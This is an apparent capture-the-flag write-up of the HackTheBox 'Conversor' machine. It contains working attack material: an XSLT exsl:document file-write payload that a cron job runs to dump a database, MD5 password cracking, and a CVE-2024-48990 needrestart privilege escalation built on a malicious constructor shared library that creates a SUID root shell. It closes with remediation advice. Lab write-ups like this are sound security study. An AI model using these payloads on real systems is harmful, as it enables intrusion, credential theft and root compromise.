← Back to Writeups
HTBN/AWeb

Conversor (Full Box)

XESXOR8/23/202611 min read
#web#htb#n/a#CVE-2024-48990

Conversor (Full Box)

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-16 | Status: Solved Techniques: constructor_hijacking, cron_job_abuse, database_extraction, hash_cracking, shared_library_injection, xslt_file_write

Summary

Task: Full HackTheBox machine with an XML-to-HTML converter web app and Linux privilege escalation. Solution: Exploited XSLT injection via exsl:document to write a Python reverse shell through a cron job for user access, then used CVE-2024-48990 needrestart PYTHONPATH injection for root.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260116_hackthebox_conversor
  • Tags: rce, md5_cracking, privilege_escalation, source_code_leak, xslt_injection, exsl_document, cron_exploitation, cve-2024-48990, needrestart, pythonpath_injection
  • Indicators: XSLT transformation, exsl:document extension, cron job executing scripts, MD5 hash without salt, source code download
  • Source: 20260116_hackthebox_conversor.md

Foothold

Vulnerability / Misconfiguration

  1. Constructor_hijacking
  2. Cron_job_abuse
  3. Database_extraction
  4. Hash_cracking
  5. Shared_library_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • constructor_hijacking
  • cron_job_abuse
  • database_extraction
  • hash_cracking
  • shared_library_injection
  • xslt_file_write
  • Tags: rce, md5_cracking, privilege_escalation, source_code_leak, xslt_injection, exsl_document, cron_exploitation, cve-2024-48990, needrestart, pythonpath_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Conversor — HackTheBox (Full Box)

Challenge Info

FieldValue
PlatformHackTheBox
Target10.129.1.165
CategoryWeb / Linux Privilege Escalation
DifficultyMedium
User Flagaeff561c839d56cfced2c19e6ec562eb
Root Flag4f83b59aad1bc7ababce8678ff0feaed

Overview

This is a complete HackTheBox machine involving:

  1. User Flag: XSLT Injection → Cron Job RCE → Credential Theft → SSH Access
  2. Root Flag: CVE-2024-48990 needrestart PYTHONPATH Injection → Local Privilege Escalation

PART 1: User Flag

Reconnaissance

Port Scanning

nmap -sV -sC 10.129.1.165

Results:

PortServiceVersion
22SSHOpenSSH 8.9p1
53DNS-
80HTTPApache 2.4.52

The HTTP service redirects to conversor.htb - added to /etc/hosts:

echo "10.129.1.165 conversor.htb" | sudo tee -a /etc/hosts

Web Application Analysis

Initial Exploration

The website is an XML to HTML converter using XSLT transformation:

  1. User registers an account
  2. User uploads XML file
  3. User uploads XSLT stylesheet
  4. Server transforms XML using XSLT
  5. Returns HTML result

Source Code Discovery

On the /about page, found a download link:

/static/source_code.tar.gz
curl -O http://conversor.htb/static/source_code.tar.gz
tar -xzf source_code.tar.gz

Source Code Analysis

Key File: app.py

from lxml import etree

# XML Parser - SECURE configuration (XXE blocked)
parser = etree.XMLParser(
    resolve_entities=False,   # No XXE
    no_network=True,          # No external requests
    dtd_validation=False,
    load_dtd=False
)
xml_tree = etree.parse(xml_path, parser)

# XSLT Parser - INSECURE configuration (no restrictions!)
xslt_tree = etree.parse(xslt_path)  # Default parser = vulnerable!
transform = etree.XSLT(xslt_tree)

Critical Finding #1: The XML parser is hardened against XXE, but the XSLT parser has NO restrictions, allowing use of dangerous EXSLT extensions like exsl:document.

Key File: install.md

# Cron job configuration
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

Critical Finding #2: A cron job runs every minute, executing ALL .py files in /var/www/conversor.htb/scripts/ as www-data.

Attack Vector Identified

XSLT exsl:document → Write .py file to scripts/ → Cron executes as www-data → RCE

Exploitation

Step 1: XSLT Injection via exsl:document

The exsl:document extension allows writing arbitrary files to the filesystem. Created a malicious XSLT file that writes a Python script to dump the database:

malicious.xslt:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" 
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exsl="http://exslt.org/common"
    extension-element-prefixes="exsl">
  
  <xsl:output method="text"/>
  
  <xsl:template match="/">
    <exsl:document href="/var/www/conversor.htb/scripts/cmd.py" method="text">
import sqlite3
conn = sqlite3.connect('/var/www/conversor.htb/instance/users.db')
c = conn.cursor()
c.execute("SELECT * FROM users")
rows = c.fetchall()
with open('/var/www/conversor.htb/static/db.txt', 'w') as f:
    for row in rows:
        f.write(str(row) + '\n')
conn.close()
    </exsl:document>
    <xsl:text>done</xsl:text>
  </xsl:template>
  
</xsl:stylesheet>

trigger.xml:

<?xml version="1.0"?>
<root>trigger</root>

Step 2: Upload and Wait for Cron

  1. Registered a test account on the web application
  2. Uploaded trigger.xml and malicious.xslt
  3. Waited ~60 seconds for cron to execute the Python script

Step 3: Database Extraction

Retrieved the database dump:

curl http://conversor.htb/static/db.txt

Output:

(1, 'fismathack', '5b5c3ac3a1c897c94caad48e6c71fdec')

Step 4: Password Cracking

Identified the hash as MD5 (32 hex characters, no salt).

# Create hash file
echo "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt

# Crack with John the Ripper
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Result:

5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm

Step 5: SSH Access

ssh fismathack@10.129.1.165
# Password: Keepmesafeandwarm

cat /home/fismathack/user.txt

User Flag

aeff561c839d56cfced2c19e6ec562eb

PART 2: Root Flag (CVE-2024-48990)

Privilege Enumeration

Checking sudo Permissions

fismathack@conversor:~$ sudo -l
User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

Checking needrestart Version

fismathack@conversor:~$ needrestart --version
needrestart 3.7

Critical Finding: needrestart version 3.7 is vulnerable to CVE-2024-48990!

CVE-2024-48990 Analysis

Vulnerability Description

needrestart < 3.8 is vulnerable to local privilege escalation via PYTHONPATH injection:

  1. When needrestart scans running processes to check if they need restart
  2. It identifies Python processes and runs the Python interpreter to check library versions
  3. The vulnerability: needrestart uses the PYTHONPATH environment variable from the scanned process
  4. If an attacker controls a Python process with a malicious PYTHONPATH, needrestart will load attacker-controlled modules as root

Attack Flow

┌─────────────────────────────────────────────────────────────────────┐
│                    CVE-2024-48990 ATTACK FLOW                        │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  1. Create malicious shared library with constructor                 │
│     └─> __attribute__((constructor)) runs on library load           │
│                                                                      │
│  2. Place as importlib/__init__.so in controlled directory          │
│     └─> Python imports importlib early during startup               │
│                                                                      │
│  3. Run Python process with PYTHONPATH pointing to our directory    │
│     └─> PYTHONPATH=/home/fismathack/pwn python3 wait.py &           │
│                                                                      │
│  4. Run sudo needrestart                                             │
│     └─> needrestart scans our Python process                        │
│     └─> Runs python3 with OUR PYTHONPATH as root                    │
│     └─> Loads our malicious importlib/__init__.so                   │
│     └─> Constructor executes as root!                               │
│                                                                      │
│  5. Constructor creates SUID shell                                   │
│     └─> cp /bin/sh /tmp/poc; chmod u+s /tmp/poc                     │
│                                                                      │
│  6. Execute SUID shell                                               │
│     └─> /tmp/poc -p → root shell                                    │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Exploitation

Step 1: Create Malicious Shared Library

lib.c:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

// Constructor attribute - runs when library is loaded
static void pwn() __attribute__((constructor));

void pwn() {
    // Only execute payload when running as root
    if (geteuid() == 0) {
        setuid(0);
        setgid(0);
        // Create SUID shell
        system("cp /bin/sh /tmp/poc; chmod u+s /tmp/poc");
    }
}

Step 2: Compile for Target Architecture

Compile on local machine (or use Docker for cross-compilation):

# For x86_64 Linux target
gcc -shared -fPIC -o importlib/__init__.so lib.c

# If cross-compiling from macOS:
docker run --rm -v $(pwd):/work -w /work gcc:latest \
    gcc -shared -fPIC -o importlib/__init__.so lib.c

Step 3: Upload to Target

# Create directory structure on target
ssh fismathack@10.129.1.165 "mkdir -p ~/pwn/importlib"

# Upload the malicious library
scp importlib/__init__.so fismathack@10.129.1.165:~/pwn/importlib/

Step 4: Create Python Wait Script

On the target machine:

fismathack@conversor:~$ cat > ~/pwn/wait.py << 'EOF'
import time
while True:
    time.sleep(1)
EOF

Important: The script must NOT be in /tmp/ - needrestart blacklists /tmp/ paths!

Step 5: Execute the Exploit

# Start Python process with malicious PYTHONPATH
fismathack@conversor:~$ PYTHONPATH=/home/fismathack/pwn python3 ~/pwn/wait.py &
[1] 12345

# Trigger needrestart as root (scans our Python process)
fismathack@conversor:~$ sudo /usr/sbin/needrestart -r l

# Check if SUID shell was created
fismathack@conversor:~$ ls -la /tmp/poc
-rwsr-xr-x 1 root root 125688 Jan 15 22:39 /tmp/poc

Step 6: Get Root Shell

# Execute SUID shell with -p to preserve privileges
fismathack@conversor:~$ /tmp/poc -p

# Verify we're root
$ id
uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)

# Read root flag
$ cat /root/root.txt
4f83b59aad1bc7ababce8678ff0feaed

Root Flag

4f83b59aad1bc7ababce8678ff0feaed

Complete Attack Chain

┌─────────────────────────────────────────────────────────────────────┐
│                    COMPLETE ATTACK CHAIN                             │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌─────────────────── USER FLAG ───────────────────┐                │
│  │                                                  │                │
│  │  1. Nmap → Port 80 (HTTP) → conversor.htb       │                │
│  │                    ↓                             │                │
│  │  2. /about → /static/source_code.tar.gz         │                │
│  │                    ↓                             │                │
│  │  3. Code Analysis:                               │                │
│  │     • XSLT parser has no restrictions            │                │
│  │     • Cron executes *.py in scripts/            │                │
│  │                    ↓                             │                │
│  │  4. XSLT Injection (exsl:document)              │                │
│  │     → Write Python script to scripts/           │                │
│  │                    ↓                             │                │
│  │  5. Cron executes → Database dump               │                │
│  │     → (1, 'fismathack', 'MD5_HASH')             │                │
│  │                    ↓                             │                │
│  │  6. John → Keepmesafeandwarm                    │                │
│  │                    ↓                             │                │
│  │  7. SSH → user.txt ✓                            │                │
│  │                                                  │                │
│  └──────────────────────────────────────────────────┘                │
│                          ↓                                           │
│  ┌─────────────────── ROOT FLAG ───────────────────┐                │
│  │                                                  │                │
│  │  8. sudo -l → NOPASSWD: /usr/sbin/needrestart   │                │
│  │                    ↓                             │                │
│  │  9. needrestart --version → 3.7 (vulnerable!)   │                │
│  │                    ↓                             │                │
│  │  10. CVE-2024-48990:                            │                │
│  │      • Create malicious importlib/__init__.so   │                │
│  │      • Run Python with PYTHONPATH=~/pwn         │                │
│  │      • sudo needrestart -r l                    │                │
│  │                    ↓                             │                │
│  │  11. Constructor creates SUID /tmp/poc          │                │
│  │                    ↓                             │                │
│  │  12. /tmp/poc -p → root shell → root.txt ✓     │                │
│  │                                                  │                │
│  └──────────────────────────────────────────────────┘                │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Vulnerabilities Summary

User Flag Vulnerabilities

#VulnerabilityImpactSeverity
1Source Code DisclosureInformation leak, reveals attack vectorsMedium
2XSLT Injection (exsl:document)Arbitrary file write on serverHigh
3Insecure Cron JobCode execution as www-dataHigh
4Weak Password StorageMD5 without salt, easily crackableMedium

Root Flag Vulnerabilities

#VulnerabilityImpactSeverity
5CVE-2024-48990Local privilege escalation to rootCritical

Key Indicators

When to Use XSLT Injection

  • XSLT transformation functionality in web app
  • libxslt or lxml without explicit access controls
  • No XSLTAccessControl.DENY_ALL restriction
  • Look for exsl:document, saxon:output, or similar extensions

When to Use Cron Job Exploitation

  • Cron jobs executing files from writable directories
  • Wildcard patterns like *.py, *.sh in cron
  • File write primitive + cron = RCE

When to Use CVE-2024-48990

  • sudo needrestart without password
  • needrestart version < 3.8
  • Can run Python processes with controlled PYTHONPATH
  • Target directory NOT in /tmp/ (blacklisted)

Tools Used

ToolPurpose
nmapPort scanning and service detection
curlHTTP requests and file download
ffufDirectory/file enumeration
johnMD5 hash cracking with rockyou.txt
sqlite3Database extraction
gccCompile malicious shared library
scpFile transfer to target
sshRemote access

Remediation

XSLT Security

from lxml import etree

# Secure XSLT configuration
xslt_ac = etree.XSLTAccessControl(
    read_file=False,
    write_file=False,
    create_dir=False,
    read_network=False,
    write_network=False
)

xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree, access_control=xslt_ac)

Cron Job Security

# BAD - executes all files in directory
* * * * * for f in /path/*.py; do python3 "$f"; done

# GOOD - explicit file paths only
* * * * * python3 /path/specific_script.py

Password Storage

# BAD
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

# GOOD
import bcrypt
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt())

needrestart Mitigation

# Update to version 3.8+
apt update && apt upgrade needrestart

# Or disable Python interpreter scanning
echo '$nrconf{interpscan} = 0;' >> /etc/needrestart/needrestart.conf

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR